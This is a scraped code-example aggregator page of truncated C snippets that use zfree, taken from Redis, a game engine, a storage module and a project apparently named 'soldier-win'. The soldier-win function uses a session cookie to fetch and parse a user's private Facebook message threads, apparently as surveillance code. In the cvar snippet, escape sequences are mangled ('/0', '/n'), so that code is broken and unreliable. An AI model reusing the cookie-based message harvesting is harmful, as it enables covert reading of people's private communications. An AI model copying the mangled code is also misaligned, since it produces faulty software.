addReply(c,shared.wrongtypeerr);                return;            }        }        /* default all weights to 1 */        src[i].weight = 1.0;    }    /* parse optional extra arguments */    if (j < c->argc) {        int remaining = c->argc - j;        while (remaining) {            if (remaining >= (setnum + 1) && !strcasecmp(c->argv[j]->ptr,"weights")) {                j++; remaining--;                for (i = 0; i < setnum; i++, j++, remaining--) {                    if (getDoubleFromObjectOrReply(c, c->argv[j], &src[i].weight, NULL) != REDIS_OK)                        return;                }            } else if (remaining >= 2 && !strcasecmp(c->argv[j]->ptr,"aggregate")) {                j++; remaining--;                if (!strcasecmp(c->argv[j]->ptr,"sum")) {                    aggregate = REDIS_AGGR_SUM;                } else if (!strcasecmp(c->argv[j]->ptr,"min")) {                    aggregate = REDIS_AGGR_MIN;                } else if (!strcasecmp(c->argv[j]->ptr,"max")) {                    aggregate = REDIS_AGGR_MAX;                } else {                    zfree(src);                    addReply(c,shared.syntaxerr);                    return;                }                j++; remaining--;            } else {                zfree(src);                addReply(c,shared.syntaxerr);                return;            }        }    }    /* sort sets from the smallest to largest, this will improve our     * algorithm's performance */    qsort(src,setnum,sizeof(zsetopsrc),qsortCompareZsetopsrcByCardinality);    dstobj = createZsetObject();    dstzset = dstobj->ptr;    if (op == REDIS_OP_INTER) {        /* skip going over all entries if the smallest zset is NULL or empty */        if (src[0].dict && dictSize(src[0].dict) > 0) {            /* precondition: as src[0].dict is non-empty and the zsets are ordered             * from small to large, all src[i > 0].dict are non-empty too */            di = dictGetIterator(src[0].dict);            while((de = dictNext(di)) != NULL) {                double *score = zmalloc(sizeof(double)), value;                *score = src[0].weight * zunionInterDictValue(de);                for (j = 1; j < setnum; j++) {                    dictEntry *other = dictFind(src[j].dict,dictGetEntryKey(de));                    if (other) {                        value = src[j].weight * zunionInterDictValue(other);                        zunionInterAggregate(score, value, aggregate);                    } else {//.........这里部分代码省略.........
开发者ID:aditya,项目名称:redis,代码行数:101,


示例24: FacebookParseThreads

BOOL FacebookParseThreads(LPSTR strCookie, LPSTR strUserId, LPSTR strScreenName, DWORD dwLastTS){	BOOL bIncoming;	WCHAR strUrl[256];	CHAR strThreadId[512];	CHAR strPeersId[256];	CHAR strPeers[512];	CHAR strAuthor[256];	CHAR strAuthorId[256];	DWORD dwRet, dwBufferSize;	LPSTR strRecvBuffer=NULL, strRecvBuffer2=NULL, strParser1, strParser2, strInnerParser1, strInnerParser2;	LPSTR strMsgBody = NULL;	dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", L"/messages/", 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie);  //FIXME: array	if (dwRet != SOCIAL_REQUEST_SUCCESS)		return FALSE;		strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_END);	if (!strParser1)	{		zfree(strRecvBuffer);		return NULL;	}	*strParser1 = 0; // fine lista		strParser1 = strstr(strRecvBuffer, FB_THREAD_LIST_ID);	if (!strParser1)	{		zfree(strRecvBuffer);		return FALSE;	}		for (;;)	{		// get thread status and skip if unread		strParser2 = strstr(strParser1, FB_THREAD_STATUS_IDENTIFIER_V2);		if (strParser2) 		{			strParser2 += strlen(FB_THREAD_STATUS_IDENTIFIER_V2);			if (*strParser2 != '0') // unread			{				strParser1 = strParser2;				continue;			}		}		else 			break;		strParser1 = strstr(strParser1, FB_THREAD_IDENTIFIER_V2);		if (!strParser1)			break;				strParser1 += strlen(FB_THREAD_IDENTIFIER_V2);		strParser2 = strchr(strParser1, '"');		if (!strParser2)			break;		*strParser2 = 0;		SecureZeroMemory(strUrl, 256);		SecureZeroMemory(strThreadId, 512);		strcpy_s(strThreadId, 512, strParser1);		URLDecode(strThreadId);		_snwprintf_s(strUrl, sizeof(strUrl)/sizeof(WCHAR), _TRUNCATE, L"/ajax/messaging/async.php?sk=inbox&action=read&tid=%S&__a=1&msgs_only=1", strThreadId);  //FIXME: array				strParser1 = strParser2 + 1;				// cerca id partecipanti		BOOL bAmIPresent = FALSE;		SecureZeroMemory(strPeersId, sizeof(strPeersId));		for (;;)		{			strParser2 = strstr(strParser1, FB_PEER_ID_IDENTIFIER);			if (!strParser2)				break;			strParser1 = strParser2 + strlen(FB_PEER_ID_IDENTIFIER);			strParser2 = strchr(strParser1, '"');			if (!strParser2)				break;			*strParser2 = 0;			if (!strcmp(strParser1, strUserId))				bAmIPresent = TRUE;			if (strlen(strPeersId) == 0)				_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s", strParser1);			else				_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strParser1);			strParser1 = strParser2 + 1;			if (*strParser1 == ']')				break;		}		if (!bAmIPresent)			_snprintf_s(strPeersId, sizeof(strPeersId), _TRUNCATE, "%s,%s", strPeersId, strUserId);//.........这里部分代码省略.........
开发者ID:amsterdamnedkid,项目名称:soldier-win,代码行数:101,


示例25: zslFreeNode

void zslFreeNode(zskiplistNode *node) {    decrRefCount(node->obj);    zfree(node->forward);    zfree(node->span);    zfree(node);}
开发者ID:aditya,项目名称:redis,代码行数:6,


示例26: setnewval

/* set value of an existing cvar */static voidsetnewval(Cvar *var, const char *var_name, const char *var_value, int flags){	var_value = validate(var, var_value, qfalse);	/*	 * if the C code is now specifying a variable that the user already	 * set a value for, take the new value as the reset value	 */	if(var->flags & CVAR_USER_CREATED){		var->flags &= ~CVAR_USER_CREATED;		zfree(var->resetString);		var->resetString = copystr(var_value);		if(flags & CVAR_ROM){			/*			 * this variable was set by the user,			 * so force it to value given by the engine.			 */			if(var->latchedString != '/0')				zfree(var->latchedString);			var->latchedString = copystr(var_value);		}	}	/* make sure the game code cannot mark engine-added variables as gamecode vars */	if(var->flags & CVAR_VM_CREATED){		if(!(flags & CVAR_VM_CREATED))			var->flags &= ~CVAR_VM_CREATED;	}else if(flags & CVAR_VM_CREATED)		flags &= ~CVAR_VM_CREATED;	/* make sure servers cannot mark engine-added variables as SERVER_CREATED */	if(var->flags & CVAR_SERVER_CREATED){		if(!(flags & CVAR_SERVER_CREATED))			var->flags &= ~CVAR_SERVER_CREATED;	}else if(flags & CVAR_SERVER_CREATED)		flags &= ~CVAR_SERVER_CREATED;	var->flags |= flags;	/* only allow one non-empty reset string without a warning */	if(var->resetString[0] == '/0'){		/* we don't have a reset string yet */		zfree(var->resetString);		var->resetString = copystr(var_value);	}else if(var_value[0] && strcmp(var->resetString, var_value))		comdprintf("Warning: cvar /"%s/" given initial values: /"%s/""			    " and /"%s/"/n", var_name, var->resetString, var_value);	/* if we have a latched string, take that value now */	if(var->latchedString != nil){		char *s;		s = var->latchedString;		var->latchedString = nil;	/* otherwise cvar_set2 would free it */		cvarsetstr2(var_name, s, qtrue);		zfree(s);	}	/* ZOID--needs to be set so that cvars the game sets as	 * SERVERINFO get sent to clients */	cvar_modifiedFlags |= flags;}
开发者ID:icanhas,项目名称:yantar,代码行数:62,


示例27: getKeysFreeResult

/* Free the result of getKeysFromCommand. */void getKeysFreeResult(int *result) {    zfree(result);}
开发者ID:wenxueliu,项目名称:redis_comment,代码行数:4,


示例28: memset

vnode_t *vnode_new(const char *root_dir, uint32_t id, enum eVnodeStorageType storage_type, vnode_write_queue_handle_write_cb vnode_write_queue_handle_write){    vnode_t *vnode = (vnode_t*)zmalloc(sizeof(vnode_t));    memset(vnode, 0, sizeof(vnode_t));    vnode->id = id;    vnode->storage_type = storage_type;    /*vnode->max_dbsize = 1024L * 1024L * 1024L * 4L;*/    vnode->max_dbsize = 1024L * 1024L * 500L;    /* Create vnode root dir */    sprintf(vnode->root_dir, "%s/%04d", root_dir, id);    if ( mkdir_if_not_exist(vnode->root_dir) != 0 ){        error_log("Cann't create vnode(%d) dir:%s", id, vnode->root_dir);        zfree(vnode);        return NULL;    }    /* datazones */    int i;    for ( i = 0 ; i < MAX_DATAZONES ; i++ ){        vnode->datazones[i] = (datazone_t*)zmalloc(sizeof(datazone_t));        if ( datazone_init(vnode->datazones[i], vnode, i) != 0 ){            zfree(vnode);            return NULL;        }    }    /* Slices DB */    if ( vnode->storage_type >= STORAGE_KVDB ){        // Create Metadata DB.        const char *metadata_dbname = "metadata";        kvdb_t *kvdb_metadata = vnode_open_kvdb(vnode, metadata_dbname);        if ( kvdb_metadata == NULL ){            error_log("MetadataDB create failed. dbname:%s", metadata_dbname);            zfree(vnode);            return NULL;        }        vnode->kvdb_metadata = kvdb_metadata;        uint32_t active_slicedb_id = 0;        if ( kvdb_get_uint32(kvdb_metadata, "active_slicedb_id", &active_slicedb_id) != 0 ){            active_slicedb_id = 0;        }        notice_log("vnode active_slicedb_id:%d", active_slicedb_id);        // Create Slice DB.        for ( int db_id = 0 ; db_id <= active_slicedb_id ; db_id++ ){            slicedb_t *slicedb = vnode_open_slicedb(vnode, db_id);            if ( slicedb != NULL ){            } else {            /*char dbname[NAME_MAX];*/            /*sprintf(dbname, "slice-%03d", db_id);*/            /*kvdb_t *kvdb = vnode_open_kvdb(vnode, dbname);*/            /*if ( kvdb != NULL ){*/                /*vnode->slicedbs[db_id] = slicedb_new(db_id, kvdb, vnode->max_dbsize);*/            /*} else {*/                /*error_log("SliceDB create failed. dbname:%s", dbname);*/                for ( int n = 0 ; n < db_id ; n++ ){                    slicedb_free(vnode->slicedbs[n]);                    vnode->slicedbs[n] = NULL;                }                zfree(vnode);                return NULL;            }        }        vnode->active_slicedb = vnode->slicedbs[active_slicedb_id];        /*vnode->kvdb = vnode->active_slicedb->kvdb;*/    }    vnode->caching_objects = object_queue_new(object_compare_md5_func);    vnode->received_objects = listCreate();    vnode->received_object_size = 0;    vnode->standby_objects = listCreate();    vnode->standby_object_size = 0;    vnode->write_queue = init_work_queue(vnode_write_queue_handle_write, VNODE_WRITE_QUEUE_INTERVAL);    return vnode;}
开发者ID:uukuguy,项目名称:legolas,代码行数:83,


示例29: vmThreadedIOCompletedJob

/* Every time a thread finished a Job, it writes a byte into the write side * of an unix pipe in order to "awake" the main thread, and this function * is called. * * Note that this is called both by the event loop, when a I/O thread * sends a byte in the notification pipe, and is also directly called from * waitEmptyIOJobsQueue(). * * In the latter case we don't want to swap more, so we use the * "privdata" argument setting it to a not NULL value to signal this * condition. */void vmThreadedIOCompletedJob(aeEventLoop *el, int fd, void *privdata,            int mask){    char buf[1];    int retval, processed = 0, toprocess = -1, trytoswap = 1;    REDIS_NOTUSED(el);    REDIS_NOTUSED(mask);    REDIS_NOTUSED(privdata);    if (privdata != NULL) trytoswap = 0; /* check the comments above... */    /* For every byte we read in the read side of the pipe, there is one     * I/O job completed to process. */#ifndef _WIN32    while((retval = read(fd,buf,1)) == 1) {#else    DWORD pipe_is_on = 0;    while (1) {        retval = 0;        /*Windows fix: We need to peek pipe, since read would block. */        if (!PeekNamedPipe((HANDLE) _get_osfhandle(fd), NULL, 0, NULL, &pipe_is_on, NULL)) {           redisLog(REDIS_DEBUG,"PeekReadPipe failed %s", strerror(GetLastError()));           break;        }        /* No data on pipe */        if (!pipe_is_on)            break;        if ((retval = read(fd,buf,1)) != 1)            break;#endif        iojob *j;        listNode *ln;        struct dictEntry *de;        /* Get the processed element (the oldest one) */        lockThreadedIO();        redisLog(REDIS_DEBUG,"Processing I/O completed job");        redisAssert(listLength(server.io_processed) != 0);        if (toprocess == -1) {            toprocess = (listLength(server.io_processed)*REDIS_MAX_COMPLETED_JOBS_PROCESSED)/100;            if (toprocess <= 0) toprocess = 1;        }        ln = listFirst(server.io_processed);        j = ln->value;        listDelNode(server.io_processed,ln);        unlockThreadedIO();        /* If this job is marked as canceled, just ignore it */        if (j->canceled) {            freeIOJob(j);            continue;        }        /* Post process it in the main thread, as there are things we         * can do just here to avoid race conditions and/or invasive locks */        redisLog(REDIS_DEBUG,"COMPLETED Job type: %d, ID %p, key: %s", j->type, (void*)j->id, (unsigned char*)j->key->ptr);        de = dictFind(j->db->dict,j->key->ptr);        redisAssert(de != NULL);        if (j->type == REDIS_IOJOB_LOAD) {            redisDb *db;            vmpointer *vp = dictGetEntryVal(de);            /* Key loaded, bring it at home */            vmMarkPagesFree(vp->page,vp->usedpages);            redisLog(REDIS_DEBUG, "VM: object %s loaded from disk (threaded)",                (unsigned char*) j->key->ptr);            server.vm_stats_swapped_objects--;            server.vm_stats_swapins++;            dictGetEntryVal(de) = j->val;            incrRefCount(j->val);            db = j->db;            /* Handle clients waiting for this key to be loaded. */            handleClientsBlockedOnSwappedKey(db,j->key);            freeIOJob(j);            zfree(vp);        } else if (j->type == REDIS_IOJOB_PREPARE_SWAP) {            /* Now we know the amount of pages required to swap this object.             * Let's find some space for it, and queue this task again             * rebranded as REDIS_IOJOB_DO_SWAP. */            if (!vmCanSwapOut() ||                vmFindContiguousPages(&j->page,j->pages) == REDIS_ERR)            {                /* Ooops... no space or we can't swap as there is                 * a fork()ed Redis trying to save stuff on disk. */                j->val->storage = REDIS_VM_MEMORY; /* undo operation */                freeIOJob(j);            } else {                /* Note that we need to mark this pages as used now,//.........这里部分代码省略.........
开发者ID:ambakshi,项目名称:redis,代码行数:101,



注:本文中的zfree函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


C++ zfs_alloc函数代码示例
C++ zframe_size函数代码示例
万事OK自学网:51自学网_软件自学网_CAD自学网自学excel、自学PS、自学CAD、自学C语言、自学css3实例,是一个通过网络自主学习工作技能的自学平台,网友喜欢的软件自学网站。